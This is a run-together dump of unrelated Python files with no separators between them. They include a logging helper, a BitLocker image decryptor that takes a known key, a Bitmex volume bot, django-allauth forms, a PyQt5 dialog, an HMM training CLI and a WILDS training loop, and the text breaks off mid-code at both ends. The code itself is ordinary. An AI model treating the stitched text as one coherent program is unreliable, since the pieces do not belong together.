postfix[i+1]*nums[i] nums[0] = postfix[1] for i in range(1,len(nums)-1): nums[i] = prefix[i-1]*postfix[i+1] nums[-1] = prefix[-2] return nums""" This logging facility was greatly inspired by Outlook 2003. """ import sys CRITICAL = 5 ERROR = 4 WARNING = 3 INFO = 2 DEBUG = 1 _level_names = { CRITICAL : 'critical', WARNING : 'warning', INFO : 'info', ERROR : 'error', DEBUG : 'debug' } _reverse_level_names = dict((v, k) for (k, v) in _level_names.items()) _level_colors = { 'remote' : 'bold', 'critical' : 'red', 'warning' : 'yellow', 'info' : 'blue', 'debug' : 'blue', 'error' : 'red' } class LogMessage(object): def __init__(self, level_name, message, writer=None, config_level=None): self.level_name = level_name self.message = message self.writer = writer or sys.stdout self.config_level = config_level or self.get_config_level() def skip(self): if self.level_int >= self.config_level: return False return True def header(self): from merfi.util import colorize colored = colorize.make(self.base_string) return getattr(colored, self.level_color) @property def base_string(self): if self.config_level < 2: return "--> [%s]" % self.level_name return "-->" @property def level_int(self): if self.level_name == 'remote': return 2 return _reverse_level_names.get(self.level_name, 4) @property def level_color(self): return _level_colors.get(self.level_name, 'info') def line(self): message = self.message if isinstance(message, bytes): message = message.decode('utf-8') msg = message.rstrip('\n') return "%s %s\n" % (self.header(), msg) def write(self): if not self.skip(): self.writer.write(self.line()) def get_config_level(self): import merfi level = merfi.config.get('verbosity', 'error') return _reverse_level_names.get(level, 4) def error(message): return LogMessage('error', message).write() def debug(message): return LogMessage('debug', message).write() def info(message): return LogMessage('info', message).write() def warning(message): return LogMessage('warning', message).write() def critical(message): return LogMessage('critical', message).write() vojtechtrefny/thesis # -*- coding: utf-8 -*- # image.py # # Copyright (c) 2019 # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend from bitlockersetup import constants, utils def _decrypt_data(key, data, iv_offset, cipher): decrypted = bytearray() sectors = int(len(data) / constants.SECTOR_SIZE) for i in range(sectors): if cipher == constants.Ciphers.AES_CBC: # IV = ECB encrypted offset in bytes iv = (iv_offset + i * constants.SECTOR_SIZE).to_bytes(16, "little") iv_cipher = Cipher(algorithms.AES(key), modes.ECB(), backend=default_backend()) encryptor = iv_cipher.encryptor() iv = encryptor.update(iv) + encryptor.finalize() mode_fn = modes.CBC elif cipher == constants.Ciphers.AES_XTS: # IV = offset in sectors iv = (int(iv_offset / constants.SECTOR_SIZE) + i).to_bytes(16, "little") mode_fn = modes.XTS data_cipher = Cipher(algorithms.AES(key), mode_fn(iv), backend=default_backend()) decryptor = data_cipher.decryptor() start = i * constants.SECTOR_SIZE end = (i * constants.SECTOR_SIZE) + constants.SECTOR_SIZE result = decryptor.update(data[start:end]) + decryptor.finalize() decrypted.extend(bytearray(result)) return decrypted def _read_and_decrypt_data(device, start, count, key, iv_offset, cipher): """ Read the device sector by sector and decrypt it """ decrypted = bytearray() with open(device, "rb") as f: f.seek(start) for i in range(0, count, constants.SECTOR_SIZE): data = f.read(constants.SECTOR_SIZE) decrypted_data = _decrypt_data(key, data, iv_offset + i, cipher) decrypted.extend(bytearray(decrypted_data)) return decrypted def decrypt_and_save_image(fve, debug, device, fvek_open_key, res_file, cipher=constants.Ciphers.AES_XTS): """ Decrypt entire seleted device and save the data as a raw image :param fve: parsed FVE header :type fve: :func:`~bitlockersetup.fve.FVE` :param device: device path of an existing BitLocker device :type device: string :param fvek_open_key: decrypted FVEK :type fvek_open_key: string :res_file: name for the file to save the data to :res_file: string """ # first data block first_block = fve.volume_header_block data_block = utils.read_from_device(device, first_block.data_offset, constants.SECTOR_SIZE) if debug: print("\033[1mFirst sector (encrypted):\033[0m") utils.pprint_bytes(data_block) print() # decrypted first data block decrypted_data = _decrypt_data(fvek_open_key.key, data_block, first_block.data_offset, cipher) if debug: print("\033[1mFirst sector (decrypted):\033[0m") utils.pprint_bytes(decrypted_data) # decrypt whole "header" part header_data = utils.read_from_device(device, first_block.data_offset, first_block.block_size) decrypted_header = _decrypt_data(fvek_open_key.key, header_data, first_block.data_offset, cipher) # decrypt everything decrypted_everything = _read_and_decrypt_data(device, 8192, fve._device_size - 8192, fvek_open_key.key, 8192, cipher) # now replace bitlocker metadata with zeroes # - 64k after each fve header start # - 8k after the encrypted NTFS header start for metadata in fve._metadata_starts: for i in range(64 * 1024): decrypted_everything[metadata + i - 8192] = 0x00 for i in range(8 * 1024): decrypted_everything[fve.volume_header_block.data_offset + i - 8192] = 0x00 # add some "normal" extension to the decrypted image file if not res_file.endswith(".raw"): res_file += ".raw" # write the decrypted file with open(res_file, "wb+") as f: f.write(bytes(decrypted_header)) f.write(bytes(decrypted_everything)) print("Decrypted image saved to '%s'." % res_file) size = int(input()) num_list = list(map(str, input().split(' ')))[:size] num = str() for i in num_list: num = num+(i[-1]) num = int(num) if num%10==0: print("Yes") else: print("No")from BitmexBot import BitmexBot from datetime import datetime as dt from time import sleep from threading import * import sys class DataProcesser(Thread): # OBV indicator(On-Balance Volume Indicator) def OBV(self, trades): result = 0 for trade in trades: if trade['side'] == 'Sell': result -= trade['size'] else: result += trade['size'] return result # Feedback from command line def run(self): sleep_time = 0 if len(sys.argv) == 2: sleep_time = int(sys.argv[1]) print("Creating new OBV_vals.csv file...") open('OBV_vals.csv', 'w').close() sleep(1) print("New file created") else: print("Invalid amount of arguments.") print("Syntax: python3 bot.py ") sys.exit() # Init client = BitmexBot("XBT") start_time = dt.utcnow() end_time = dt.utcnow() my_obv = 0 # Infinite bubble where you see OBV values while True: sleep(sleep_time) end_time = dt.utcnow() recent_trades = client.RecentTrades(startTime=start_time, endTime=end_time) start_time = end_time my_obv += self.OBV(recent_trades) client.writeToFile(fileName='OBV_vals.csv', row=[end_time, my_obv]) """ The script obtains various visualizations of the cleaned dataset & stores them in "visualization" directory """ import os import pathlib import pandas as pd from utility import create_log, parse_config, read_data from data_analysis_util import dataset_balance, box_plot, grouped_bar_plot create_log("data_analysis.log") # Creating log file ################################################## #-----------------Reading Dataset----------------- ################################################## config_path = "config/config.yaml" config = parse_config(config_path) # read config file data_path = config["data_analysis"]["data"] # read dataset df_clean = read_data(data_path) # df_clean['rate'] = pd.to_numeric(df_clean['rate'], downcast = 'float') # Converting ratings to float os.chdir('visualizations') # directory to save visualization figures # ################################################# # ---------------- Dataset Balance ---------------- # ################################################# dataset_balance(df_clean, "balance") # ################################################# # --------- 1. Balance Type vs Rating ------------- # ################################################# box_plot(df_clean, "balance", "bal_vs_deposit") ################################################## #------------- 2. Age vs Deposit ----------------- ################################################## box_plot(df_clean, "age", "age_vs_deposit") ################################################## #------------- 3. Job vs Deposit ----------------- ################################################## grouped_bar_plot(df_clean, "job", "job_vs_deposit") ################################################## #------------- 4. Marital vs Deposit ------------- ################################################## grouped_bar_plot(df_clean, "marital", "marital_vs_deposit") ################################################## #------------- 5. Education vs Deposit ----------- ################################################## grouped_bar_plot(df_clean, "education", "education_vs_deposit") os.chdir('..') # resetting to main path # cwd = os.getcwd() # for validating os.chdir('..') # print(cwd) from __future__ import absolute_import from django import forms from allauth.account.forms import BaseSignupForm from allauth.account.utils import (user_username, user_email, user_field) from .models import SocialAccount from .adapter import get_adapter from . import app_settings from . import signals class SignupForm(BaseSignupForm): def __init__(self, *args, **kwargs): self.sociallogin = kwargs.pop('sociallogin') user = self.sociallogin.account.user # TODO: Should become more generic, not listing # a few fixed properties. initial = {'email': user_email(user) or '', 'username': user_username(user) or '', 'first_name': user_field(user, 'first_name') or '', 'last_name': user_field(user, 'last_name') or ''} kwargs['initial'] = initial kwargs['email_required'] = app_settings.EMAIL_REQUIRED super(SignupForm, self).__init__(*args, **kwargs) def save(self, request): adapter = get_adapter() user = adapter.save_user(request, self.sociallogin, form=self) # TODO: Add request? super(SignupForm, self).save(user) return user class DisconnectForm(forms.Form): account = forms.ModelChoiceField(queryset=SocialAccount.objects.none(), widget=forms.RadioSelect, required=True) def __init__(self, *args, **kwargs): self.request = kwargs.pop('request') self.accounts = SocialAccount.objects.filter(user=self.request.user) super(DisconnectForm, self).__init__(*args, **kwargs) self.fields['account'].queryset = self.accounts def clean(self): cleaned_data = super(DisconnectForm, self).clean() account = cleaned_data.get('account') if account: get_adapter().validate_disconnect(account, self.accounts) return cleaned_data def save(self): account = self.cleaned_data['account'] account.delete() signals.social_account_removed.send(sender=SocialAccount, request=self.request, socialaccount=account) 0 # -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'wMagVar.ui' # # Created by: PyQt5 UI code generator 5.10.1 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_mag_var(object): def setupUi(self, mag_var): mag_var.setObjectName("mag_var") mag_var.resize(342, 155) self.gridLayout_2 = QtWidgets.QGridLayout(mag_var) self.gridLayout_2.setObjectName("gridLayout_2") self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName("horizontalLayout_3") self.verticalLayout_2 = QtWidgets.QVBoxLayout() self.verticalLayout_2.setObjectName("verticalLayout_2") spacerItem = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding) self.verticalLayout_2.addItem(spacerItem) self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName("horizontalLayout_2") spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_2.addItem(spacerItem1) self.magvar_label = QtWidgets.QLabel(mag_var) font = QtGui.QFont() font.setPointSize(10) font.setBold(True) font.setWeight(75) self.magvar_label.setFont(font) self.magvar_label.setObjectName("magvar_label") self.horizontalLayout_2.addWidget(self.magvar_label) spacerItem2 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_2.addItem(spacerItem2) self.verticalLayout_2.addLayout(self.horizontalLayout_2) self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName("horizontalLayout") spacerItem3 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout.addItem(spacerItem3) self.ed_magvar = QtWidgets.QLineEdit(mag_var) font = QtGui.QFont() font.setPointSize(10) self.ed_magvar.setFont(font) self.ed_magvar.setObjectName("ed_magvar") self.horizontalLayout.addWidget(self.ed_magvar) spacerItem4 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout.addItem(spacerItem4) self.horizontalLayout.setStretch(0, 2) self.horizontalLayout.setStretch(1, 1) self.horizontalLayout.setStretch(2, 2) self.verticalLayout_2.addLayout(self.horizontalLayout) spacerItem5 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding) self.verticalLayout_2.addItem(spacerItem5) self.horizontalLayout_3.addLayout(self.verticalLayout_2) self.gb_magvar = QtWidgets.QGroupBox(mag_var) font = QtGui.QFont() font.setPointSize(10) font.setBold(True) font.setWeight(75) self.gb_magvar.setFont(font) self.gb_magvar.setObjectName("gb_magvar") self.gridLayout = QtWidgets.QGridLayout(self.gb_magvar) self.gridLayout.setObjectName("gridLayout") self.verticalLayout = QtWidgets.QVBoxLayout() self.verticalLayout.setObjectName("verticalLayout") self.rb_all = QtWidgets.QRadioButton(self.gb_magvar) font = QtGui.QFont() font.setPointSize(10) font.setBold(False) font.setWeight(50) self.rb_all.setFont(font) self.rb_all.setChecked(True) self.rb_all.setObjectName("rb_all") self.verticalLayout.addWidget(self.rb_all) self.rb_transect = QtWidgets.QRadioButton(self.gb_magvar) font = QtGui.QFont() font.setPointSize(10) font.setBold(False) font.setWeight(50) self.rb_transect.setFont(font) self.rb_transect.setObjectName("rb_transect") self.verticalLayout.addWidget(self.rb_transect) self.gridLayout.addLayout(self.verticalLayout, 0, 0, 1, 1) self.horizontalLayout_3.addWidget(self.gb_magvar) self.gridLayout_2.addLayout(self.horizontalLayout_3, 0, 0, 1, 1) self.buttonBox = QtWidgets.QDialogButtonBox(mag_var) self.buttonBox.setOrientation(QtCore.Qt.Horizontal) self.buttonBox.setStandardButtons(QtWidgets.QDialogButtonBox.Cancel|QtWidgets.QDialogButtonBox.Ok) self.buttonBox.setObjectName("buttonBox") self.gridLayout_2.addWidget(self.buttonBox, 1, 0, 1, 1) self.retranslateUi(mag_var) self.buttonBox.accepted.connect(mag_var.accept) self.buttonBox.rejected.connect(mag_var.reject) QtCore.QMetaObject.connectSlotsByName(mag_var) def retranslateUi(self, mag_var): _translate = QtCore.QCoreApplication.translate mag_var.setWindowTitle(_translate("mag_var", "Magnetic Variation")) self.magvar_label.setText(_translate("mag_var", "Magnetic Variation")) self.gb_magvar.setTitle(_translate("mag_var", "Apply To:")) self.rb_all.setText(_translate("mag_var", "All Transects")) self.rb_transect.setText(_translate("mag_var", "Transect Only")) if __name__ == "__main__": import sys app = QtWidgets.QApplication(sys.argv) mag_var = QtWidgets.QDialog() ui = Ui_mag_var() ui.setupUi(mag_var) mag_var.show() sys.exit(app.exec_()) from optparse import OptionParser import training_config import util import ipdb import os def warn(*args, **kwargs): if 'category' in kwargs and kwargs['category'] == DeprecationWarning: pass else: for arg in args: print arg import warnings warnings.warn = warn def build_parser(): parser = OptionParser() parser.add_option( "--train-model", action="store_true", dest="train_model", default = False, help="True if you want to train HMM models.") parser.add_option( "--train-anomaly-model", action="store_true", dest="train_anomaly_model", default = False, help="True if you want to train HMM anomaly models.") parser.add_option( "--learn_threshold_for_log_likelihood", action="store_true", dest="learn_threshold_for_log_likelihood", default = False, help="True if you want to learn_threshold_for_log_likelihood.") parser.add_option( "--learn_threshold_for_gradient_of_log_likelihood", action="store_true", dest="learn_threshold_for_gradient_of_log_likelihood", default = False, help="True if you want to learn_threshold_for_gradient_of_log_likelihood.") parser.add_option( "--learn_threshold_for_deri_of_diff", action="store_true", dest="learn_threshold_for_deri_of_diff", default = False, help="True if you want to learn_threshold_for_deri_of_diff.") parser.add_option( "--train-derivative-threshold", action="store_true", dest="train_derivative_threshold", default = False, help="True if you want to train derivative threshold.") parser.add_option( "--online-service", action="store_true", dest="online_service", default = False, help="True if you want to run online anomaly detection and online state classification.") parser.add_option( "--hidden-state-log-prob-plot", action="store_true", dest="hidden_state_log_prob_plot", default = False, help="True if you want to plot hidden state log prob.") parser.add_option( "--trial-log-likelihood-plot", action="store_true", dest="trial_log_likelihood_plot", default = False, help="True if you want to plot trials' log likelihood.") parser.add_option( "--emission-log-prob-plot", action="store_true", dest="emission_log_prob_plot", default = False, help="True if you want to plot emission log prob.") parser.add_option( "--trial-log-likelihood-gradient-plot", action="store_true", dest="trial_log_likelihood_gradient_plot", default = False, help="True if you want to plot trials' log likelihood gradient.") parser.add_option( "--check-if-score-metric-converge-loglik-curves", action="store_true", dest="check_if_score_metric_converge_loglik_curves", default = False, help="True if you want to check_if_score_metric_converge_loglik_curves.") parser.add_option( "--check_if_viterbi_path_grow_incrementally", action="store_true", dest="check_if_viterbi_path_grow_incrementally", default = False, help="True if you want to check_if_viterbi_path_grow_incrementally.") #python birl_hmm_user_interface.py --plot_skill_identification_and_anomaly_detection --trial-class success parser.add_option( "--plot_skill_identification_and_anomaly_detection", action="store_true", dest="plot_skill_identification_and_anomaly_detection", default = False, help="True if you want to plot_skill_identification_and_anomaly_detection.") parser.add_option("--trial-class", action="store", type="string", dest="trial_class", default = None, help="success or test_success" ) return parser if __name__ == "__main__": parser = build_parser() (options, args) = parser.parse_args() util.inform_config(training_config) if options.train_model is True: print "gonna train HMM model." trials_group_by_folder_name, state_order_group_by_folder_name = util.get_trials_group_by_folder_name(training_config) test_trials_group_by_folder_name, test_state_order_group_by_folder_name = util.get_trials_group_by_folder_name(training_config, data_class="test_success") import hmm_model_training hmm_model_training.run( model_save_path = training_config.model_save_path, model_type = training_config.model_type_chosen, model_config = training_config.model_config, score_metric = training_config.score_metric, trials_group_by_folder_name = trials_group_by_folder_name, test_trials_group_by_folder_name=test_trials_group_by_folder_name, ) if options.train_anomaly_model is True: print "gonna train HMM anomaly_model." anomaly_trials_group_by_folder_name, state_order_group_by_folder_name = util.get_trials_group_by_folder_name(training_config, data_class='anomaly') import hmm_model_training hmm_model_training.run( model_save_path = training_config.anomaly_model_save_path, model_type = training_config.model_type_chosen, model_config = training_config.model_config, score_metric = training_config.score_metric, trials_group_by_folder_name = anomaly_trials_group_by_folder_name) if options.learn_threshold_for_log_likelihood is True: print "gonna learn_threshold_for_log_likelihood." trials_group_by_folder_name, state_order_group_by_folder_name = util.get_trials_group_by_folder_name(training_config) import learn_threshold_for_log_likelihood learn_threshold_for_log_likelihood.run( model_save_path = training_config.model_save_path, figure_save_path = training_config.figure_save_path, threshold_c_value = training_config.threshold_c_value, trials_group_by_folder_name = trials_group_by_folder_name) if options.learn_threshold_for_gradient_of_log_likelihood is True: print "gonna learn_threshold_for_gradient_of_log_likelihood." trials_group_by_folder_name, state_order_group_by_folder_name = util.get_trials_group_by_folder_name(training_config) import learn_threshold_for_gradient_of_log_likelihood learn_threshold_for_gradient_of_log_likelihood.run( model_save_path = training_config.model_save_path, figure_save_path = training_config.figure_save_path, threshold_c_value = training_config.threshold_c_value, trials_group_by_folder_name = trials_group_by_folder_name) if options.learn_threshold_for_deri_of_diff is True: print "gonna learn_threshold_for_deri_of_diff." trials_group_by_folder_name, state_order_group_by_folder_name = util.get_trials_group_by_folder_name(training_config) import learn_threshold_for_deri_of_diff learn_threshold_for_deri_of_diff.run( model_save_path = training_config.model_save_path, figure_save_path = training_config.figure_save_path, threshold_c_value = training_config.threshold_c_value, trials_group_by_folder_name = trials_group_by_folder_name) if options.train_derivative_threshold is True: print "gonna train derivative threshold." trials_group_by_folder_name, state_order_group_by_folder_name = util.get_trials_group_by_folder_name(training_config) import derivative_threshold_training derivative_threshold_training.run( model_save_path = training_config.model_save_path, figure_save_path = training_config.figure_save_path, threshold_c_value = training_config.threshold_c_value, trials_group_by_folder_name = trials_group_by_folder_name) if options.online_service is True: print "gonna run online service." import hmm_online_service.hmm_online_service as hmm_online_service trials_group_by_folder_name, state_order_group_by_folder_name = util.get_trials_group_by_folder_name(training_config) one_trial_data_group_by_state = trials_group_by_folder_name.itervalues().next() state_amount = len(one_trial_data_group_by_state) hmm_online_service.run( interested_data_fields = training_config.interested_data_fields, model_save_path = training_config.model_save_path, state_amount = state_amount, anomaly_detection_metric = training_config.anomaly_detection_metric, ) if options.hidden_state_log_prob_plot is True: print "gonna plot hidden state log prob." trials_group_by_folder_name, state_order_group_by_folder_name = util.get_trials_group_by_folder_name(training_config) import hidden_state_log_prob_plot hidden_state_log_prob_plot.run( model_save_path = training_config.model_save_path, figure_save_path = training_config.figure_save_path, threshold_c_value = training_config.threshold_c_value, trials_group_by_folder_name = trials_group_by_folder_name) if options.trial_log_likelihood_plot is True: if options.trial_class is None: raise Exception("options.trial_class is needed for options.trial_log_likelihood_plot") data_class = options.trial_class print "gonna do trial_log_likelihood_plot." trials_group_by_folder_name, state_order_group_by_folder_name = util.get_trials_group_by_folder_name(training_config, data_class=data_class) import trial_log_likelihood_plot trial_log_likelihood_plot.run( model_save_path = training_config.model_save_path, figure_save_path = training_config.figure_save_path, threshold_c_value = training_config.threshold_c_value, trials_group_by_folder_name = trials_group_by_folder_name, data_class=data_class, ) if options.trial_log_likelihood_gradient_plot is True: if options.trial_class is None: raise Exception("options.trial_class is needed for options.trial_log_likelihood_gradient_plot") data_class = options.trial_class print "gonna do trial_log_likelihood_gradient_plot." trials_group_by_folder_name, state_order_group_by_folder_name = util.get_trials_group_by_folder_name(training_config, data_class=data_class) import trial_log_likelihood_gradient_plot trial_log_likelihood_gradient_plot.run( model_save_path = training_config.model_save_path, figure_save_path = training_config.figure_save_path, threshold_c_value = training_config.threshold_c_value, trials_group_by_folder_name = trials_group_by_folder_name, data_class=data_class, ) if options.check_if_score_metric_converge_loglik_curves is True: print "gonna check_if_score_metric_converge_loglik_curves." trials_group_by_folder_name, state_order_group_by_folder_name = util.get_trials_group_by_folder_name(training_config) import check_if_score_metric_converge_loglik_curves check_if_score_metric_converge_loglik_curves.run( model_save_path = training_config.model_save_path, model_type = training_config.model_type_chosen, figure_save_path = training_config.figure_save_path, threshold_c_value = training_config.threshold_c_value, trials_group_by_folder_name = trials_group_by_folder_name) if options.check_if_viterbi_path_grow_incrementally is True: print "gonna check_if_viterbi_path_grow_incrementally." trials_group_by_folder_name, state_order_group_by_folder_name = util.get_trials_group_by_folder_name(training_config) import check_if_viterbi_path_grow_incrementally check_if_viterbi_path_grow_incrementally.run( model_save_path = training_config.model_save_path, figure_save_path = training_config.figure_save_path, trials_group_by_folder_name = trials_group_by_folder_name, options=options, ) if options.emission_log_prob_plot is True: print "gonna plot emission log prob." trials_group_by_folder_name, state_order_group_by_folder_name = util.get_trials_group_by_folder_name(training_config) import emission_log_prob_plot emission_log_prob_plot.run( model_save_path = training_config.model_save_path, figure_save_path = training_config.figure_save_path, threshold_c_value = training_config.threshold_c_value, trials_group_by_folder_name = trials_group_by_folder_name) if options.plot_skill_identification_and_anomaly_detection is True: if options.trial_class is None: raise Exception("options.trial_class is needed for options.plot_skill_identification_and_anomaly_detection") data_class = options.trial_class if data_class == 'success': data_path = training_config.success_path elif data_class == 'anomaly': data_path = training_config.anomaly_data_path elif data_class == 'test_success': data_path = training_config.test_success_data_path else: raise Exception("unknown data class %s"%data_class) import plot_skill_identification_and_anomaly_detection plot_skill_identification_and_anomaly_detection.run( model_save_path = training_config.model_save_path, figure_save_path = training_config.figure_save_path, anomaly_detection_metric = training_config.anomaly_detection_metric, trial_class=options.trial_class, data_path=data_path, interested_data_fields = training_config.interested_data_fields, ) #!/usr/bin/env python # -*- coding: utf-8 -*- import logging import shutil logger = logging.getLogger() def find_available_engine(engines=('pdftk', 'gs', 'pdfunite', 'pdfjam', 'mutool')): """ Build a list of available engines. """ available = [] for engine in engines: if shutil.which(engine) is not None: available.append(engine) if len(available) == 0: msg = f'No engine found among {engines}.' raise RuntimeError(msg) return available caglasozen/wilds import copy import torch from tqdm import tqdm import math from configs.supported import process_outputs_functions, process_pseudolabels_functions from utils import save_model, save_pred, get_pred_prefix, get_model_prefix, collate_list, detach_and_clone, InfiniteDataIterator def run_epoch(algorithm, dataset, general_logger, epoch, config, train, unlabeled_dataset=None): if dataset['verbose']: general_logger.write(f"\n{dataset['name']}:\n") if train: algorithm.train() torch.set_grad_enabled(True) else: algorithm.eval() torch.set_grad_enabled(False) # Not preallocating memory is slower # but makes it easier to handle different types of data loaders # (which might not return exactly the same number of examples per epoch) epoch_y_true = [] epoch_y_pred = [] epoch_metadata = [] # Assert that data loaders are defined for the datasets assert 'loader' in dataset, "A data loader must be defined for the dataset." if unlabeled_dataset: assert 'loader' in unlabeled_dataset, "A data loader must be defined for the dataset." batches = dataset['loader'] if config.progress_bar: batches = tqdm(batches) last_batch_idx = len(batches)-1 if unlabeled_dataset: unlabeled_data_iterator = InfiniteDataIterator(unlabeled_dataset['loader']) # Using enumerate(iterator) can sometimes leak memory in some environments (!) # so we manually increment batch_idx batch_idx = 0 for labeled_batch in batches: if train: if unlabeled_dataset: unlabeled_batch = next(unlabeled_data_iterator) batch_results = algorithm.update(labeled_batch, unlabeled_batch, is_epoch_end=(batch_idx==last_batch_idx)) else: batch_results = algorithm.update(labeled_batch, is_epoch_end=(batch_idx==last_batch_idx)) else: batch_results = algorithm.evaluate(labeled_batch) # These tensors are already detached, but we need to clone them again # Otherwise they don't get garbage collected properly in some versions # The extra detach is just for safety # (they should already be detached in batch_results) epoch_y_true.append(detach_and_clone(batch_results['y_true'])) y_pred = detach_and_clone(batch_results['y_pred']) if config.process_outputs_function is not None: y_pred = process_outputs_functions[config.process_outputs_function](y_pred) epoch_y_pred.append(y_pred) epoch_metadata.append(detach_and_clone(batch_results['metadata'])) if train: effective_batch_idx = (batch_idx + 1) / config.gradient_accumulation_steps else: effective_batch_idx = batch_idx + 1 if train and effective_batch_idx % config.log_every==0: log_results(algorithm, dataset, general_logger, epoch, math.ceil(effective_batch_idx)) batch_idx += 1 epoch_y_pred = collate_list(epoch_y_pred) epoch_y_true = collate_list(epoch_y_true) epoch_metadata = collate_list(epoch_metadata) results, results_str = dataset['dataset'].eval( epoch_y_pred, epoch_y_true, epoch_metadata) if config.scheduler_metric_split==dataset['split']: algorithm.step_schedulers( is_epoch=True, metrics=results, log_access=(not train)) # log after updating the scheduler in case it needs to access the internal logs log_results(algorithm, dataset, general_logger, epoch, math.ceil(effective_batch_idx)) results['epoch'] = epoch dataset['eval_logger'].log(results) if dataset['verbose']: general_logger.write('Epoch eval:\n') general_logger.write(results_str) return results, epoch_y_pred def train(algorithm, datasets, general_logger, config, epoch_offset, best_val_metric, unlabeled_dataset=None): """ Train loop that, each epoch: - Steps an algorithm on the datasets['train'] split and the unlabeled split - Evaluates the algorithm on the datasets['val'] split - Saves models / preds with frequency according to the configs - Evaluates on any other specified splits in the configs Assumes that the datasets dict contains labeled data. """ for epoch in range(epoch_offset, config.n_epochs): general_logger.write('\nEpoch [%d]:\n' % epoch) # First run training run_epoch(algorithm, datasets['train'], general_logger, epoch, config, train=True, unlabeled_dataset=unlabeled_dataset) # Then run val val_results, y_pred = run_epoch(algorithm, datasets['val'], general_logger, epoch, config, train=False) curr_val_metric = val_results[config.val_metric] general_logger.write(f'Validation {config.val_metric}: {curr_val_metric:.3f}\n') if best_val_metric is None: is_best = True else: if config.val_metric_decreasing: is_best = curr_val_metric < best_val_metric else: is_best = curr_val_metric > best_val_metric if is_best: best_val_metric = curr_val_metric general_logger.write(f'Epoch {epoch} has the best validation performance so far.\n') save_model_if_needed(algorithm, datasets['val'], epoch, config, is_best, best_val_metric) save_pred_if_needed(y_pred, datasets['val'], epoch, config, is_best) # Then run everything else if config.evaluate_all_splits: additional_splits = [split for split in datasets.keys() if split not in ['train','val']] else: additional_splits = config.eval_splits for split in additional_splits: _, y_pred = run_epoch(algorithm, datasets[split], general_logger, epoch, config, train=False) save_pred_if_needed(y_pred, datasets[split], epoch, config, is_best) general_logger.write('\n') def evaluate(algorithm, datasets, epoch, general_logger, config, is_best): algorithm.eval() torch.set_grad_enabled(False) for split, dataset in datasets.items(): if (not config.evaluate_all_splits) and (split not in config.eval_splits): continue epoch_y_true = [] epoch_y_pred = [] epoch_metadata = [] iterator = tqdm(dataset['loader']) if config.progress_bar else dataset['loader'] for batch in iterator: batch_results = algorithm.evaluate(batch) epoch_y_true.append(detach_and_clone(batch_results['y_true'])) y_pred = detach_and_clone(batch_results['y_pred']) if config.process_outputs_function is not None: y_pred = process_outputs_functions[config.process_outputs_function](y_pred) epoch_y_pred.append(y_pred) epoch_metadata.append(detach_and_clone(batch_results['metadata'])) epoch_y_pred = collate_list(epoch_y_pred) epoch_y_true = collate_list(epoch_y_true) epoch_metadata = collate_list(epoch_metadata) results, results_str = dataset['dataset'].eval( epoch_y_pred, epoch_y_true, epoch_metadata) results['epoch'] = epoch dataset['eval_logger'].log(results) general_logger.write(f'Eval split {split} at epoch {epoch}:\n') general_logger.write(results_str) # Skip saving train preds, since the train loader generally shuffles the data if split != 'train': save_pred_if_needed(epoch_y_pred, dataset, epoch, config, is_best, force_save=True) def infer_predictions(model, loader, config): """ Simple inference loop that performs inference using a model (not algorithm) and returns model outputs. Compatible with both labeled and unlabeled WILDS datasets. """ model.eval() y_pred = [] iterator = tqdm(loader) if config.progress_bar else loader for batch in iterator: x = batch[0] x = x.to(config.device) with torch.no_grad(): output = model(x) if not config.soft_pseudolabels and config.process_pseudolabels_function is not None: _, output, _, _ = process_pseudolabels_functions[config.process_pseudolabels_function]( output, confidence_threshold=config.self_training_threshold if config.dataset == 'globalwheat' else 0 ) elif config.soft_pseudolabels: output = torch.nn.functional.softmax(output, dim=1) if isinstance(output, list): y_pred.extend(detach_and_clone(output)) else: y_pred.append(detach_and_clone(output)) return torch.cat(y_pred, 0) if torch.is_tensor(y_pred[0]) else y_pred def log_results(algorithm, dataset, general_logger, epoch, effective_batch_idx): if algorithm.has_log: log = algorithm.get_log() log['epoch'] = epoch log['batch'] = effective_batch_idx dataset['algo_logger'].log(log) if dataset['verbose']: general_logger.write(algorithm.get_pretty_log_str()) algorithm.reset_log() def save_pred_if_needed(y_pred, dataset, epoch, config, is_best, force_save=False): if config.save_pred: prefix = get_pred_prefix(dataset, config) if force_save or (config.save_step is not None and (epoch + 1) % config.save_step == 0): save_pred(y_pred, prefix + f'epoch:{epoch}_pred') if (not force_save) and config.save_last: save_pred(y_pred, prefix + f'epoch:last_pred') if config.save_best and is_best: save_pred(y_pred, prefix + f'epoch:best_pred') def save_model_if_needed(algorithm, dataset, epoch, config, is_best, best_val_metric): prefix = get_model_prefix(dataset, config) if config.save_step is not None and (epoch + 1) % config.save_step == 0: save_model(algorithm, epoch, best_val_metric, prefix + f'epoch:{epoch}_model.pth') if config.save_last: save_model(algorithm, epoch, best_val_metric, prefix + 'epoch:last_model.pth') if config.save_best and is_best: save_model(algorithm, epoch, best_val_metric, prefix + 'epoch:best_model.pth') from hoomd.operation import Updater from hoomd.box import Box from hoomd.data.parameterdicts import ParameterDict from hoomd.data.typeconverter import OnlyTypes, box_preprocessing from hoomd.variant import Variant, Constant from hoomd import _hoomd from hoomd.filter import ParticleFilter, All class 